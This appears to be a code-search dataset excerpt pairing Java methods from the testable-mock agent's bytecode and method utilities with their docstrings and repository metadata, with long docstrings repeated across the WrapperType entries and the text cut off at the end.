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public static String toJavaMethodDesc(String owner, String desc) { String ownerInDotFormat = ClassUtil.toDotSeparatedName(owner); String parameters = toJavaParameterDesc(extractParameters(desc)); return String.format("%s(%s)", ownerInDotFormat, parameters); }
Format to java style constructor descriptor @param owner class of method belongs to @param desc method constructor in bytecode format @return java style constructor descriptor
MethodUtil::toJavaMethodDesc
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/util/MethodUtil.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/util/MethodUtil.java
MIT
public static String toJavaMethodDesc(String owner, String name, String desc) { String ownerInDotFormat = ClassUtil.toDotSeparatedName(owner); String returnType = toJavaParameterDesc(getReturnType(desc)); String parameters = toJavaParameterDesc(extractParameters(desc)); return String.format("%s::%s(%s) : %s", ownerInDotFormat, name, parameters, returnType); }
Format to java style method descriptor @param owner class of method belongs to @param name method name @param desc method descriptor in bytecode format @return java style method descriptor
MethodUtil::toJavaMethodDesc
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/util/MethodUtil.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/util/MethodUtil.java
MIT
private static String toJavaParameterDesc(String desc) { if (desc.isEmpty()) { return ""; } StringBuilder sb = new StringBuilder(); boolean isArray = false; boolean isTravellingClass = false; for (byte b : desc.getBytes()) { if (isTravellingClass) { switch (b) { case CLASS_END: sb.append(isArray ? "[]" : ""); isArray = false; isTravellingClass = false; break; case PKG_SEGMENT: sb.append('.'); break; default: sb.append((char)b); } } else { switch (b) { case TYPE_ARRAY: isArray = true; break; case TYPE_VOID: sb.append(COMMA_SPACE).append("void"); break; case TYPE_BYTE: sb.append(COMMA_SPACE).append("byte").append(isArray ? "[]" : ""); isArray = false; break; case TYPE_CHAR: sb.append(COMMA_SPACE).append("char").append(isArray ? "[]" : ""); isArray = false; break; case TYPE_DOUBLE: sb.append(COMMA_SPACE).append("double").append(isArray ? "[]" : ""); isArray = false; break; case TYPE_FLOAT: sb.append(COMMA_SPACE).append("float").append(isArray ? "[]" : ""); isArray = false; break; case TYPE_INT: sb.append(COMMA_SPACE).append("int").append(isArray ? "[]" : ""); isArray = false; break; case TYPE_LONG: sb.append(COMMA_SPACE).append("long").append(isArray ? "[]" : ""); isArray = false; break; case TYPE_SHORT: sb.append(COMMA_SPACE).append("short").append(isArray ? "[]" : ""); isArray = false; break; case TYPE_BOOL: sb.append(COMMA_SPACE).append("boolean").append(isArray ? "[]" : ""); isArray = false; break; case TYPE_CLASS: sb.append(COMMA_SPACE); isTravellingClass = true; break; default: break; } } } return sb.substring(COMMA_SPACE.length()); }
Convert bytecode style parameter descriptor to java style descriptor @param desc bytecode style descriptor @return java style descriptor
MethodUtil::toJavaParameterDesc
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/util/MethodUtil.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/util/MethodUtil.java
MIT
private static Map<Integer, Integer> bytecodeStackEffect = new HashMap<Integer, Integer>() {{ put(NOP, 0); put(ACONST_NULL, 1); put(ICONST_M1, 1); put(ICONST_0, 1); put(ICONST_1, 1); put(ICONST_2, 1); put(ICONST_3, 1); put(ICONST_4, 1); put(ICONST_5, 1); put(LCONST_0, 1); put(LCONST_1, 1); put(FCONST_0, 1); put(FCONST_1, 1); put(FCONST_2, 1); put(DCONST_0, 1); put(DCONST_1, 1); put(BIPUSH, 1); put(SIPUSH, 1); put(LDC, 1); put(ILOAD, 1); put(LLOAD, 1); put(FLOAD, 1); put(DLOAD, 1); put(ALOAD, 1); put(IALOAD, -1); // array operation eat 2 more stacks put(LALOAD, -1); // array operation eat 2 more stacks put(FALOAD, -1); // array operation eat 2 more stacks put(DALOAD, -1); // array operation eat 2 more stacks put(AALOAD, -1); // array operation eat 2 more stacks put(BALOAD, -1); // array operation eat 2 more stacks put(CALOAD, -1); // array operation eat 2 more stacks put(SALOAD, -1); // array operation eat 2 more stacks put(ISTORE, -1); put(LSTORE, -1); put(FSTORE, -1); put(DSTORE, -1); put(ASTORE, -1); put(IASTORE, -3); // array operation eat 2 more stacks put(LASTORE, -3); // array operation eat 2 more stacks put(FASTORE, -3); // array operation eat 2 more stacks put(DASTORE, -3); // array operation eat 2 more stacks put(AASTORE, -3); // array operation eat 2 more stacks put(BASTORE, -3); // array operation eat 2 more stacks put(CASTORE, -3); // array operation eat 2 more stacks put(SASTORE, -3); // array operation eat 2 more stacks put(POP, -1); put(POP2, -2); put(DUP, 1); put(DUP_X1, 1); put(DUP_X2, 1); put(DUP2, 2); put(DUP2_X1, 2); put(DUP2_X2, 2); put(SWAP, 0); put(IADD, -1); put(LADD, -1); put(FADD, -1); put(DADD, -1); put(ISUB, -1); put(LSUB, -1); put(FSUB, -1); put(DSUB, -1); put(IMUL, -1); put(LMUL, -1); put(FMUL, -1); put(DMUL, -1); put(IDIV, -1); put(LDIV, -1); put(FDIV, -1); put(DDIV, -1); put(IREM, -1); put(LREM, -1); put(FREM, -1); put(DREM, -1); put(INEG, 0); put(LNEG, 0); put(FNEG, 0); put(DNEG, 0); put(ISHL, -1); put(LSHL, -1); put(ISHR, -1); put(LSHR, -1); put(IUSHR, -1); put(LUSHR, -1); put(IAND, -1); put(LAND, -1); put(IOR, -1); put(LOR, -1); put(IXOR, -1); put(LXOR, -1); put(IINC, 0); put(I2L, 0); put(I2F, 0); put(I2D, 0); put(L2I, 0); put(L2F, 0); put(L2D, 0); put(F2I, 0); put(F2L, 0); put(F2D, 0); put(D2I, 0); put(D2L, 0); put(D2F, 0); put(I2B, 0); put(I2C, 0); put(I2S, 0); put(LCMP, -1); put(FCMPL, -1); put(FCMPG, -1); put(DCMPL, -1); put(DCMPG, -1); put(IFEQ, -1); put(IFNE, -1); put(IFLT, -1); put(IFGE, -1); put(IFGT, -1); put(IFLE, -1); put(IF_ICMPEQ, -2); put(IF_ICMPNE, -2); put(IF_ICMPLT, -2); put(IF_ICMPGE, -2); put(IF_ICMPGT, -2); put(IF_ICMPLE, -2); put(IF_ACMPEQ, -2); put(IF_ACMPNE, -2); put(GOTO, 0); put(JSR, 1); put(RET, 0); put(TABLESWITCH, -1); put(LOOKUPSWITCH, -1); put(IRETURN, 0); put(LRETURN, 0); put(FRETURN, 0); put(DRETURN, 0); put(ARETURN, 0); put(RETURN, 1); put(GETSTATIC, 1); put(PUTSTATIC, -1); put(GETFIELD, 0); put(PUTFIELD, -2); put(INVOKEVIRTUAL, 0); // variable put(INVOKESPECIAL, 0); // variable put(INVOKESTATIC, 0); // variable put(INVOKEINTERFACE, 0); // variable put(INVOKEDYNAMIC, 0); // variable put(NEW, 1); put(NEWARRAY, 0); put(ANEWARRAY, 0); put(ARRAYLENGTH, 0); put(ATHROW, 1); put(CHECKCAST, 0); put(INSTANCEOF, 0); put(MONITORENTER, -1); put(MONITOREXIT, -1); put(MULTIANEWARRAY, 0); // variable put(IFNULL, -1); put(IFNONNULL, -1); }};
refer to https://en.wikipedia.org/wiki/Java_bytecode_instruction_listings positive for push stack, negative for pop stack
BytecodeUtil::HashMap<Integer,Integer>
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java
MIT
public static Map<String, String> PRIMITIVE_TYPE_NAME_MAP = new HashMap<String, String>() {{ put("byte", String.valueOf((char)TYPE_BYTE)); put("char", String.valueOf((char)TYPE_CHAR)); put("double", String.valueOf((char)TYPE_DOUBLE)); put("float", String.valueOf((char)TYPE_FLOAT)); put("int", String.valueOf((char)TYPE_INT)); put("long", String.valueOf((char)TYPE_LONG)); put("short", String.valueOf((char)TYPE_SHORT)); put("boolean", String.valueOf((char)TYPE_BOOL)); }};
java primitive type name to bytecode mapping
BytecodeUtil::HashMap<String,String>
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java
MIT
public static int stackEffect(int bytecode) { return bytecodeStackEffect.get(bytecode); }
get stack impact of a specified ops code @param bytecode ops code to check @return stack change
BytecodeUtil::stackEffect
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java
MIT
public static int toPublicAccess(int access) { access &= ~ACC_PRIVATE; access &= ~ACC_PROTECTED; access |= ACC_PUBLIC; return access; }
make sure method has public access @param access original access mark @return access mark with public flag
BytecodeUtil::toPublicAccess
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java
MIT
public static void dumpByte(ClassNode cn, String dumpPath, byte[] bytes) { if (dumpPath == null) { dumpPath = getDumpPathByAnnotation(cn); if (dumpPath == null) { return; } } try { String dumpFile = PathUtil.join(dumpPath, cn.name.replace(SLASH, DOT).replace(DOLLAR, UNDERLINE) + POSTFIX_CLASS); LogUtil.verbose("Dump class: " + dumpFile); FileOutputStream stream = new FileOutputStream(dumpFile); stream.write(bytes); stream.close(); } catch (IOException e) { e.printStackTrace(); } }
dump byte code to specified class file @param cn original class node @param dumpPath folder to store class file @param bytes original class bytes
BytecodeUtil::dumpByte
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java
MIT
public static ImmutablePair<Integer, Integer> getLoadParameterByteCode(Byte type) { switch (type) { case ByteCodeConst.TYPE_BYTE: case ByteCodeConst.TYPE_CHAR: case ByteCodeConst.TYPE_SHORT: case ByteCodeConst.TYPE_INT: case ByteCodeConst.TYPE_BOOL: return ImmutablePair.of(ILOAD, 1); case ByteCodeConst.TYPE_DOUBLE: return ImmutablePair.of(DLOAD, 2); case ByteCodeConst.TYPE_FLOAT: return ImmutablePair.of(FLOAD, 1); case ByteCodeConst.TYPE_LONG: return ImmutablePair.of(LLOAD, 2); default: return ImmutablePair.of(ALOAD, 1); } }
get load ops-code of specified type @param type type symbol @return pair of [ops-code, stack occupation]
BytecodeUtil::getLoadParameterByteCode
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java
MIT
public static AbstractInsnNode getIntInsn(int num) { switch (num) { case 0: return new InsnNode(ICONST_0); case 1: return new InsnNode(ICONST_1); case 2: return new InsnNode(ICONST_2); case 3: return new InsnNode(ICONST_3); case 4: return new InsnNode(ICONST_4); case 5: return new InsnNode(ICONST_5); default: return new IntInsnNode(BIPUSH, num); } }
get ops code of load a int number @param num number to load @return ops code
BytecodeUtil::getIntInsn
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/util/BytecodeUtil.java
MIT
public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; }
simplified of sun.invoke.util.Wrapper public enum WrapperType { // wrapperType primitiveType char format BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)), // These must be in the order defined for widening primitive conversions in JLS 5.1.2 BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)), SHORT ( Short.class, short.class, 'S', Format.signed( 16)), CHAR (Character.class, char.class, 'C', Format.unsigned(16)), INT ( Integer.class, int.class, 'I', Format.signed( 32)), LONG ( Long.class, long.class, 'J', Format.signed( 64)), FLOAT ( Float.class, float.class, 'F', Format.floating(32)), DOUBLE ( Double.class, double.class, 'D', Format.floating(64)), OBJECT ( Object.class, Object.class, 'L', Format.other( 1)), // VOID must be the last type, since it is "assignable" from any other type: VOID ( Void.class, void.class, 'V', Format.other( 0)), ; private final Class<?> wrapperType; private final Class<?> primitiveType; private final char basicTypeChar; private final int format; WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) { this.wrapperType = wtype; this.primitiveType = ptype; this.basicTypeChar = tchar; this.format = format; } private static abstract class Format { static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12; static final int SIGNED = (-1) << KIND_SHIFT, UNSIGNED = 0 << KIND_SHIFT, FLOATING = 1 << KIND_SHIFT; static final int SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1), SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1); static int format(int kind, int size, int slots) { assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind); assert((size & (size-1)) == 0); // power of two assert((kind == SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false); assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false); return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT); } static final int INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT), CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT), NUM_MASK = (-1) << SIZE_SHIFT; static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); } static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); } static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); } static int other(int slots) { return slots << SLOT_SHIFT; } } /// format queries: /** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID.
Format::bitWidth
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
MIT
public int stackSlots() { return (format >> Format.SLOT_SHIFT) & Format.SLOT_MASK; }
simplified of sun.invoke.util.Wrapper public enum WrapperType { // wrapperType primitiveType char format BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)), // These must be in the order defined for widening primitive conversions in JLS 5.1.2 BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)), SHORT ( Short.class, short.class, 'S', Format.signed( 16)), CHAR (Character.class, char.class, 'C', Format.unsigned(16)), INT ( Integer.class, int.class, 'I', Format.signed( 32)), LONG ( Long.class, long.class, 'J', Format.signed( 64)), FLOAT ( Float.class, float.class, 'F', Format.floating(32)), DOUBLE ( Double.class, double.class, 'D', Format.floating(64)), OBJECT ( Object.class, Object.class, 'L', Format.other( 1)), // VOID must be the last type, since it is "assignable" from any other type: VOID ( Void.class, void.class, 'V', Format.other( 0)), ; private final Class<?> wrapperType; private final Class<?> primitiveType; private final char basicTypeChar; private final int format; WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) { this.wrapperType = wtype; this.primitiveType = ptype; this.basicTypeChar = tchar; this.format = format; } private static abstract class Format { static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12; static final int SIGNED = (-1) << KIND_SHIFT, UNSIGNED = 0 << KIND_SHIFT, FLOATING = 1 << KIND_SHIFT; static final int SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1), SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1); static int format(int kind, int size, int slots) { assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind); assert((size & (size-1)) == 0); // power of two assert((kind == SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false); assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false); return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT); } static final int INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT), CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT), NUM_MASK = (-1) << SIZE_SHIFT; static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); } static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); } static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); } static int other(int slots) { return slots << SLOT_SHIFT; } } /// format queries: /** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID. public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; } /** How many JVM stack slots occupied by the wrapped value? Returns 0 for VOID.
Format::stackSlots
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
MIT
public boolean isSingleWord() { return (format & (1 << Format.SLOT_SHIFT)) != 0; }
simplified of sun.invoke.util.Wrapper public enum WrapperType { // wrapperType primitiveType char format BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)), // These must be in the order defined for widening primitive conversions in JLS 5.1.2 BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)), SHORT ( Short.class, short.class, 'S', Format.signed( 16)), CHAR (Character.class, char.class, 'C', Format.unsigned(16)), INT ( Integer.class, int.class, 'I', Format.signed( 32)), LONG ( Long.class, long.class, 'J', Format.signed( 64)), FLOAT ( Float.class, float.class, 'F', Format.floating(32)), DOUBLE ( Double.class, double.class, 'D', Format.floating(64)), OBJECT ( Object.class, Object.class, 'L', Format.other( 1)), // VOID must be the last type, since it is "assignable" from any other type: VOID ( Void.class, void.class, 'V', Format.other( 0)), ; private final Class<?> wrapperType; private final Class<?> primitiveType; private final char basicTypeChar; private final int format; WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) { this.wrapperType = wtype; this.primitiveType = ptype; this.basicTypeChar = tchar; this.format = format; } private static abstract class Format { static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12; static final int SIGNED = (-1) << KIND_SHIFT, UNSIGNED = 0 << KIND_SHIFT, FLOATING = 1 << KIND_SHIFT; static final int SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1), SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1); static int format(int kind, int size, int slots) { assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind); assert((size & (size-1)) == 0); // power of two assert((kind == SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false); assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false); return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT); } static final int INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT), CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT), NUM_MASK = (-1) << SIZE_SHIFT; static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); } static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); } static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); } static int other(int slots) { return slots << SLOT_SHIFT; } } /// format queries: /** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID. public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; } /** How many JVM stack slots occupied by the wrapped value? Returns 0 for VOID. public int stackSlots() { return (format >> Format.SLOT_SHIFT) & Format.SLOT_MASK; } /** Does the wrapped value occupy a single JVM stack slot?
Format::isSingleWord
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
MIT
public boolean isDoubleWord() { return (format & (2 << Format.SLOT_SHIFT)) != 0; }
simplified of sun.invoke.util.Wrapper public enum WrapperType { // wrapperType primitiveType char format BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)), // These must be in the order defined for widening primitive conversions in JLS 5.1.2 BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)), SHORT ( Short.class, short.class, 'S', Format.signed( 16)), CHAR (Character.class, char.class, 'C', Format.unsigned(16)), INT ( Integer.class, int.class, 'I', Format.signed( 32)), LONG ( Long.class, long.class, 'J', Format.signed( 64)), FLOAT ( Float.class, float.class, 'F', Format.floating(32)), DOUBLE ( Double.class, double.class, 'D', Format.floating(64)), OBJECT ( Object.class, Object.class, 'L', Format.other( 1)), // VOID must be the last type, since it is "assignable" from any other type: VOID ( Void.class, void.class, 'V', Format.other( 0)), ; private final Class<?> wrapperType; private final Class<?> primitiveType; private final char basicTypeChar; private final int format; WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) { this.wrapperType = wtype; this.primitiveType = ptype; this.basicTypeChar = tchar; this.format = format; } private static abstract class Format { static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12; static final int SIGNED = (-1) << KIND_SHIFT, UNSIGNED = 0 << KIND_SHIFT, FLOATING = 1 << KIND_SHIFT; static final int SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1), SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1); static int format(int kind, int size, int slots) { assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind); assert((size & (size-1)) == 0); // power of two assert((kind == SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false); assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false); return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT); } static final int INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT), CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT), NUM_MASK = (-1) << SIZE_SHIFT; static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); } static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); } static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); } static int other(int slots) { return slots << SLOT_SHIFT; } } /// format queries: /** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID. public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; } /** How many JVM stack slots occupied by the wrapped value? Returns 0 for VOID. public int stackSlots() { return (format >> Format.SLOT_SHIFT) & Format.SLOT_MASK; } /** Does the wrapped value occupy a single JVM stack slot? public boolean isSingleWord() { return (format & (1 << Format.SLOT_SHIFT)) != 0; } /** Does the wrapped value occupy two JVM stack slots?
Format::isDoubleWord
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
MIT
public boolean isNumeric() { return (format & Format.NUM_MASK) != 0; }
simplified of sun.invoke.util.Wrapper public enum WrapperType { // wrapperType primitiveType char format BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)), // These must be in the order defined for widening primitive conversions in JLS 5.1.2 BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)), SHORT ( Short.class, short.class, 'S', Format.signed( 16)), CHAR (Character.class, char.class, 'C', Format.unsigned(16)), INT ( Integer.class, int.class, 'I', Format.signed( 32)), LONG ( Long.class, long.class, 'J', Format.signed( 64)), FLOAT ( Float.class, float.class, 'F', Format.floating(32)), DOUBLE ( Double.class, double.class, 'D', Format.floating(64)), OBJECT ( Object.class, Object.class, 'L', Format.other( 1)), // VOID must be the last type, since it is "assignable" from any other type: VOID ( Void.class, void.class, 'V', Format.other( 0)), ; private final Class<?> wrapperType; private final Class<?> primitiveType; private final char basicTypeChar; private final int format; WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) { this.wrapperType = wtype; this.primitiveType = ptype; this.basicTypeChar = tchar; this.format = format; } private static abstract class Format { static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12; static final int SIGNED = (-1) << KIND_SHIFT, UNSIGNED = 0 << KIND_SHIFT, FLOATING = 1 << KIND_SHIFT; static final int SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1), SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1); static int format(int kind, int size, int slots) { assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind); assert((size & (size-1)) == 0); // power of two assert((kind == SIGNED) ? (size > 0) : (kind == UNSIGNED) ? (size > 0) : (kind == FLOATING) ? (size == 32 || size == 64) : false); assert((slots == 2) ? (size == 64) : (slots == 1) ? (size <= 32) : false); return kind | (size << SIZE_SHIFT) | (slots << SLOT_SHIFT); } static final int INT = SIGNED | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), SHORT = SIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), BOOLEAN = UNSIGNED | (1 << SIZE_SHIFT) | (1 << SLOT_SHIFT), CHAR = UNSIGNED | (16 << SIZE_SHIFT) | (1 << SLOT_SHIFT), FLOAT = FLOATING | (32 << SIZE_SHIFT) | (1 << SLOT_SHIFT), VOID = UNSIGNED | (0 << SIZE_SHIFT) | (0 << SLOT_SHIFT), NUM_MASK = (-1) << SIZE_SHIFT; static int signed(int size) { return format(SIGNED, size, (size > 32 ? 2 : 1)); } static int unsigned(int size) { return format(UNSIGNED, size, (size > 32 ? 2 : 1)); } static int floating(int size) { return format(FLOATING, size, (size > 32 ? 2 : 1)); } static int other(int slots) { return slots << SLOT_SHIFT; } } /// format queries: /** How many bits are in the wrapped value? Returns 0 for OBJECT or VOID. public int bitWidth() { return (format >> Format.SIZE_SHIFT) & Format.SIZE_MASK; } /** How many JVM stack slots occupied by the wrapped value? Returns 0 for VOID. public int stackSlots() { return (format >> Format.SLOT_SHIFT) & Format.SLOT_MASK; } /** Does the wrapped value occupy a single JVM stack slot? public boolean isSingleWord() { return (format & (1 << Format.SLOT_SHIFT)) != 0; } /** Does the wrapped value occupy two JVM stack slots? public boolean isDoubleWord() { return (format & (2 << Format.SLOT_SHIFT)) != 0; } /** Is the wrapped type numeric (not void or object)?
Format::isNumeric
java
alibaba/testable-mock
testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/model/WrapperType.java
MIT
public boolean isIntegral() { return isNumeric() && format < Format.FLOAT; }
simplified of sun.invoke.util.Wrapper public enum WrapperType { // wrapperType primitiveType char format BOOLEAN( Boolean.class, boolean.class, 'Z', Format.unsigned( 1)), // These must be in the order defined for widening primitive conversions in JLS 5.1.2 BYTE ( Byte.class, byte.class, 'B', Format.signed( 8)), SHORT ( Short.class, short.class, 'S', Format.signed( 16)), CHAR (Character.class, char.class, 'C', Format.unsigned(16)), INT ( Integer.class, int.class, 'I', Format.signed( 32)), LONG ( Long.class, long.class, 'J', Format.signed( 64)), FLOAT ( Float.class, float.class, 'F', Format.floating(32)), DOUBLE ( Double.class, double.class, 'D', Format.floating(64)), OBJECT ( Object.class, Object.class, 'L', Format.other( 1)), // VOID must be the last type, since it is "assignable" from any other type: VOID ( Void.class, void.class, 'V', Format.other( 0)), ; private final Class<?> wrapperType; private final Class<?> primitiveType; private final char basicTypeChar; private final int format; WrapperType(Class<?> wtype, Class<?> ptype, char tchar, int format) { this.wrapperType = wtype; this.primitiveType = ptype; this.basicTypeChar = tchar; this.format = format; } private static abstract class Format { static final int SLOT_SHIFT = 0, SIZE_SHIFT = 2, KIND_SHIFT = 12; static final int SIGNED = (-1) << KIND_SHIFT, UNSIGNED = 0 << KIND_SHIFT, FLOATING = 1 << KIND_SHIFT; static final int SLOT_MASK = ((1<<(SIZE_SHIFT-SLOT_SHIFT))-1), SIZE_MASK = ((1<<(KIND_SHIFT-SIZE_SHIFT))-1); static int format(int kind, int size, int slots) { assert(((kind >> KIND_SHIFT) << KIND_SHIFT) == kind); assert((size & (size-1)) == 0); // power of two assert((kind == 